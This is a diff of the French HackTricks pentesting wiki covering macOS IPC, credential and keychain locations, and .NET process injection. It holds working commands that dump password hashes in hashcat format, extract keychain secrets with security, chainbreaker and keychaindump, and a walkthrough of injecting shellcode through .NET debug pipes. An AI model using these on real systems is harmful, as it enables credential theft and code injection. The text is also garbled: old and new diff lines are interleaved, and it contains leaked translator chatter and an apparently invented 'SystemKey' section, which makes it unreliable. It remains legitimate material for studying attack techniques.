Distributed Objects is a powerful IPC mechanism, but it is also complex and difficult to use correctly. Improper use of Distributed Objects can lead to security vulnerabilities, including privilege escalation and denial-of-service attacks.
## XPC
XPC is a modern IPC mechanism provided by macOS. It is designed to be secure, efficient, and easy to use. XPC provides a mechanism for processes to communicate with each other and share data in a sandboxed environment.
XPC is used by many macOS system services, including launchd, the WindowServer, and the kernel. It is also used by many third-party applications.
XPC provides a number of features, including:
- Secure communication between processes
- Automatic serialization and deserialization of data
- Support for asynchronous communication
- Support for error handling and recovery
XPC is a powerful and flexible IPC mechanism that is well-suited for many types of applications. It is recommended that developers use XPC whenever possible to ensure the security and reliability of their applications.
IPC is a powerful mechanism that allows processes to communicate with each other and share data. However, it can also be a source of security vulnerabilities if not used properly. When designing and implementing IPC mechanisms, it is important to consider the security implications and take appropriate measures to prevent unauthorized access and malicious use.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -1116,9 +1177,7 @@ XPC is a powerful and flexible IPC mechanism that is well-suited for many types
</plist>
```
{% endtab %}
{% endtabs %}
(Note: There is no text to translate in this section. Please provide me with the next section to translate.)
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
@ -1148,7 +1207,7 @@ sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

70
macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md
View file

@ -18,19 +18,27 @@
Le mot de passe Shadow est stocké avec la configuration de l'utilisateur dans des plists situés dans **`/var/db/dslocal/nodes/Default/users/`**.\
Le oneliner suivant peut être utilisé pour extraire **toutes les informations sur les utilisateurs** (y compris les informations de hachage) :
```
{% code overflow="wrap" %}
```bash
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
```
{% endcode %}
[**Des scripts comme celui-ci**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) ou [**celui-ci**](https://github.com/octomagon/davegrohl.git) peuvent être utilisés pour transformer le hash en **format hashcat**.
Une alternative en une seule ligne qui permettra de décharger les informations d'identification de tous les comptes non-service au format hashcat `-m 7100` (macOS PBKDF2-SHA512):
```
Une alternative en une seule ligne qui permettra de décharger les informations d'identification de tous les comptes non-service au format hashcat `-m 7100` (macOS PBKDF2-SHA512) :
{% code overflow="wrap" %}
```bash
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
```
{% endcode %}
### Extraction de Keychain
Notez que lors de l'utilisation de la commande binaire `security` pour **extraire les mots de passe décryptés**, plusieurs invites demanderont à l'utilisateur d'autoriser cette opération.
```
Notez que lors de l'utilisation de la commande binaire security pour extraire les mots de passe décryptés, plusieurs invites demanderont à l'utilisateur d'autoriser cette opération.
```bash
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
@ -40,20 +48,20 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
```
### [Keychaindump](https://github.com/juuso/keychaindump)
L'attaquant doit encore accéder au système et obtenir des privilèges **root** pour exécuter **keychaindump**. Cette approche vient avec ses propres conditions. Comme mentionné précédemment, **à la connexion, votre trousseau de clés est déverrouillé par défaut** et reste déverrouillé pendant que vous utilisez votre système. Cela est pratique pour que l'utilisateur n'ait pas besoin d'entrer son mot de passe chaque fois qu'une application souhaite accéder au trousseau de clés. Si l'utilisateur a modifié ce paramètre et choisi de verrouiller le trousseau de clés après chaque utilisation, keychaindump ne fonctionnera plus ; il dépend d'un trousseau de clés déverrouillé pour fonctionner.
{% hint style="danger" %}
D'après ce commentaire [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760), il semble que ces outils ne fonctionnent plus sur Big Sur.
{% endhint %}
Il est important de comprendre comment Keychaindump extrait les mots de passe de la mémoire. Le processus le plus important dans cette transaction est le "**securityd**". Apple se réfère à ce processus comme un **démon de contexte de sécurité pour les opérations d'autorisation et cryptographiques**. Les bibliothèques de développement Apple n'en disent pas beaucoup à ce sujet ; cependant, elles nous disent que securityd gère l'accès au trousseau de clés. Dans ses recherches, Juuso se réfère à la **clé nécessaire pour décrypter le trousseau de clés comme "La Clé Maître"**. Un certain nombre d'étapes doivent être prises pour acquérir cette clé car elle est dérivée du mot de passe de connexion OS X de l'utilisateur. Si vous voulez lire le fichier de trousseau de clés, vous devez avoir cette clé maître. Les étapes suivantes peuvent être effectuées pour l'acquérir. **Effectuez une analyse du tas de securityd (keychaindump le fait avec la commande vmmap)**. Les clés maîtres possibles sont stockées dans une zone marquée comme MALLOC\_TINY. Vous pouvez voir les emplacements de ces tas vous-même avec la commande suivante :
L'attaquant doit toujours accéder au système et obtenir des privilèges **root** pour exécuter **keychaindump**. Cette approche comporte ses propres conditions. Comme mentionné précédemment, **à la connexion, votre trousseau est déverrouillé par défaut** et reste déverrouillé pendant que vous utilisez votre système. Cela est pratique pour que l'utilisateur n'ait pas à entrer son mot de passe chaque fois qu'une application souhaite accéder au trousseau. Si l'utilisateur a modifié ce paramètre et choisi de verrouiller le trousseau après chaque utilisation, keychaindump ne fonctionnera plus ; il dépend d'un trousseau déverrouillé pour fonctionner.
Il est important de comprendre comment Keychaindump extrait les mots de passe de la mémoire. Le processus le plus important dans cette transaction est le "**securityd**" **processus**. Apple fait référence à ce processus comme un **démon de contexte de sécurité pour les opérations d'autorisation et cryptographiques**. Les bibliothèques de développement Apple n'en disent pas beaucoup à ce sujet ; cependant, elles nous disent que securityd gère l'accès au trousseau. Dans ses recherches, Juuso fait référence à la **clé nécessaire pour décrypter le trousseau comme "La clé principale"**. Un certain nombre d'étapes doivent être prises pour acquérir cette clé car elle est dérivée du mot de passe de connexion OS X de l'utilisateur. Si vous voulez lire le fichier de trousseau, vous devez avoir cette clé principale. Les étapes suivantes peuvent être effectuées pour l'acquérir. **Effectuez une analyse du tas de securityd (keychaindump le fait avec la commande vmmap)**. Les clés principales possibles sont stockées dans une zone marquée comme MALLOC\_TINY. Vous pouvez voir les emplacements de ces tas vous-même avec la commande suivante :
```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY
```
**Keychaindump** va ensuite rechercher dans les tas retournés les occurrences de 0x0000000000000018. Si la valeur suivante de 8 octets pointe vers le tas actuel, nous avons trouvé une clé principale potentielle. À partir de là, il faut encore effectuer un peu de désobfuscation, ce qui peut être vu dans le code source, mais en tant qu'analyste, la partie la plus importante à noter est que les données nécessaires pour décrypter ces informations sont stockées dans la mémoire du processus securityd. Voici un exemple de sortie de keychain dump.
**Keychaindump** recherchera ensuite dans les tas retournés les occurrences de 0x0000000000000018. Si la valeur suivante de 8 octets pointe vers le tas actuel, nous avons trouvé une clé principale potentielle. À partir de là, il faut encore effectuer un peu de désobfuscation, ce qui peut être vu dans le code source, mais en tant qu'analyste, la partie la plus importante à noter est que les données nécessaires pour décrypter ces informations sont stockées dans la mémoire du processus securityd. Voici un exemple de sortie de keychain dump.
```bash
sudo ./keychaindump
```
{% hint style="danger" %}
Selon ce commentaire [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760), il semble que ces outils ne fonctionnent plus sur Big Sur.
{% endhint %}
### chainbreaker
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) peut être utilisé pour extraire les types d'informations suivants d'un trousseau de clés OSX de manière forensiquement fiable :
@ -71,22 +79,36 @@ Avec le mot de passe de déverrouillage du trousseau de clés, une clé maître
Sans l'une de ces méthodes de déverrouillage du trousseau de clés, Chainbreaker affichera toutes les autres informations disponibles.
### **Dump keychain keys**
### **Extraire les clés du trousseau de clés**
```bash
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
```
### **Extraire les clés du trousseau (avec les mots de passe) avec SystemKey**
SystemKey est un outil open source qui permet d'extraire les clés du trousseau de macOS, y compris les mots de passe stockés. Pour utiliser cet outil, vous devez disposer d'un accès root sur le système cible.
---
Pour extraire les clés du trousseau, vous devez d'abord installer SystemKey sur votre système. Une fois installé, vous pouvez exécuter la commande suivante pour extraire les clés du trousseau :
#### Description
SystemKey is a tool that can be used to dump keychain keys (with passwords) from a macOS system. This can be useful during a penetration test to obtain sensitive information such as passwords and other credentials.
#### Usage
To use SystemKey, follow these steps:
1. Download the SystemKey binary from the [GitHub repository](https://github.com/kennytm/SystemKey/releases).
2. Open a Terminal window and navigate to the directory where the SystemKey binary is located.
3. Run the following command to dump the keychain keys:
```
sudo systemkeychain -dump
./SystemKey dump
```
Cette commande extraira toutes les clés du trousseau, y compris les mots de passe stockés, et les affichera dans votre terminal. Il est important de noter que cette méthode ne fonctionne que si vous avez un accès root sur le système cible.
This will dump all keychain keys (with passwords) to the Terminal window.
#### Mitigation
To mitigate the risk of keychain key dumping, sensitive information should not be stored in the keychain. Additionally, access to the keychain should be restricted to only authorized users.
```bash
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
@ -96,11 +118,9 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1
```
### **Extraire les clés du trousseau (avec les mots de passe) en craquant le hash**
Le trousseau d'accès est un système de gestion de mots de passe intégré à macOS. Il stocke les mots de passe des utilisateurs, les clés de chiffrement, les certificats et autres informations sensibles. Les clés du trousseau sont stockées dans un fichier chiffré appelé keychain.
Pour extraire les clés du trousseau d'un utilisateur sur macOS, il est possible de craquer le hash du trousseau. Pour cela, il faut d'abord extraire le hash du trousseau à partir du fichier `~/Library/Keychains/login.keychain-db`. Ensuite, il est possible d'utiliser des outils de cracking de hash tels que John the Ripper ou Hashcat pour récupérer les mots de passe associés aux clés du trousseau.
Il est possible de récupérer les clés du trousseau en craquant le hash du fichier keychain. Pour cela, il faut utiliser des outils de cracking de hash tels que John the Ripper ou Hashcat.
Cependant, il est important de noter que cette méthode est illégale et peut entraîner des conséquences juridiques graves. Il est donc recommandé de ne pas utiliser cette technique à moins d'avoir une autorisation légale pour le faire.
Il est important de noter que cette technique est considérée comme une violation de la vie privée et peut être illégale sans autorisation préalable. Elle ne doit être utilisée qu'à des fins de test de pénétration ou de recherche de vulnérabilités dans un environnement contrôlé et autorisé.
```bash
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
@ -148,16 +168,18 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
Vous pouvez trouver les données de Notifications dans `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
La plupart des informations intéressantes se trouvent dans le **blob**. Vous devrez donc **extraire** ce contenu et le **transformer** en un format **lisible** par l'homme ou utiliser **`strings`**. Pour y accéder, vous pouvez faire :
La plupart des informations intéressantes se trouvent dans le **blob**. Vous devrez donc **extraire** ce contenu et le **transformer** en un format **lisible** pour l'homme ou utiliser **`strings`**. Pour y accéder, vous pouvez faire :
{% code overflow="wrap" %}
```bash
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
```
{% endcode %}
### Notes
Les notes de l'utilisateur peuvent être trouvées dans `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
Les notes des utilisateurs peuvent être trouvées dans `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
{% code overflow="wrap" %}
```bash
@ -175,7 +197,7 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

34
macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md
View file

@ -1,10 +1,10 @@
## Injection d'applications .Net sur macOS
# Injection d'applications .Net sur macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -17,15 +17,15 @@
### **Établir une session de débogage** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) est responsable de la gestion de la **communication** entre le débogueur et le débogueur.\
Il crée 2 noms de tuyaux par processus .Net dans [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) en appelant [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (l'un se terminera par **`-in`** et l'autre par **`-out`** et le reste du nom sera identique).
Il crée 2 tubes nommés par processus .Net dans [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) en appelant [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (l'un se terminera par **`-in`** et l'autre par **`-out`** et le reste du nom sera identique).
Ainsi, si vous allez dans le répertoire **`$TMPDIR`** de l'utilisateur, vous pourrez trouver des **fifos de débogage** que vous pourriez utiliser pour déboguer des applications .Net :
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
La fonction [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) gérera la communication à partir d'un débogueur.
La première chose qu'un débogueur doit faire est de **créer une nouvelle session de débogage**. Cela se fait en **envoyant un message via le tuyau `out`** commençant par une structure `MessageHeader`, que nous pouvons récupérer à partir de la source .NET :
La première chose qu'un débogueur doit faire est de **créer une nouvelle session de débogage**. Cela se fait en **envoyant un message via le tube `out`** commençant par une structure `MessageHeader`, que nous pouvons récupérer à partir de la source .NET :
```c
struct MessageHeader
{
@ -47,7 +47,7 @@ DWORD m_dwMinorVersion;
BYTE m_sMustBeZero[8];
}
```
En cas de demande de nouvelle session, cette structure est remplie comme suit:
Dans le cas d'une nouvelle demande de session, cette structure est remplie comme suit:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
@ -66,7 +66,7 @@ Une fois construit, nous **l'envoyons à la cible** en utilisant l'appel systèm
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Suivant notre en-tête, nous devons envoyer une structure `sessionRequestData`, qui contient un GUID pour identifier notre session :
Suivant notre en-tête, nous devons envoyer une structure `sessionRequestData` qui contient un GUID pour identifier notre session :
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
@ -164,18 +164,18 @@ Le code POC utilisé pour cela peut être trouvé [ici](https://gist.github.com/
### Exécution de code .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
La première chose à faire est d'identifier, par exemple, une région de mémoire avec **`rwx`** en cours d'exécution pour enregistrer le shellcode à exécuter. Cela peut être facilement fait avec :
La première chose à faire est d'identifier, par exemple, une région de mémoire avec **`rwx`** en cours d'exécution pour enregistrer le shellcode à exécuter. Cela peut être facilement fait avec:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Ensuite, afin de déclencher l'exécution, il serait nécessaire de connaître un endroit où un pointeur de fonction est stocké pour l'écraser. Il est possible d'écraser un pointeur dans la **Table de Fonctions Dynamiques (TFD)**, qui est utilisée par le runtime .NET Core pour fournir des fonctions d'aide à la compilation JIT. Une liste de pointeurs de fonction pris en charge peut être trouvée dans [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
Dans les versions x64, cela est simple en utilisant la technique de **recherche de signature** similaire à celle de mimikatz pour rechercher dans **`libcorclr.dll`** une référence au symbole **`_hlpDynamicFuncTable`**, que nous pouvons déréférencer :
Dans les versions x64, cela est simple en utilisant la technique de **recherche de signature** similaire à Mimikatz pour rechercher dans **`libcorclr.dll`** une référence au symbole **`_hlpDynamicFuncTable`**, que nous pouvons déréférencer :
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Il ne reste plus qu'à trouver une adresse à partir de laquelle commencer notre recherche de signature. Pour ce faire, nous exploitons une autre fonction de débogage exposée, **`MT_GetDCB`**. Cela renvoie un certain nombre d'informations utiles sur le processus cible, mais dans notre cas, nous sommes intéressés par un champ renvoyé contenant l'**adresse d'une fonction d'aide**, **`m_helperRemoteStartAddr`**. En utilisant cette adresse, nous savons exactement **où `libcorclr.dll` est situé** dans la mémoire du processus cible et nous pouvons commencer notre recherche de la TFD.
Il ne reste plus qu'à trouver une adresse à partir de laquelle commencer notre recherche de signature. Pour ce faire, nous utilisons une autre fonction de débogage exposée, **`MT_GetDCB`**. Cela renvoie un certain nombre d'informations utiles sur le processus cible, mais dans notre cas, nous sommes intéressés par un champ renvoyé contenant l'**adresse d'une fonction d'aide**, **`m_helperRemoteStartAddr`**. En utilisant cette adresse, nous savons exactement **où `libcorclr.dll` est situé** dans la mémoire du processus cible et nous pouvons commencer notre recherche de la TFD.
En connaissant cette adresse, il est possible d'écraser le pointeur de fonction avec notre propre shellcode.
@ -184,3 +184,15 @@ Le code POC complet utilisé pour l'injection dans PowerShell peut être trouvé
## Références
* Cette technique a été prise sur [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>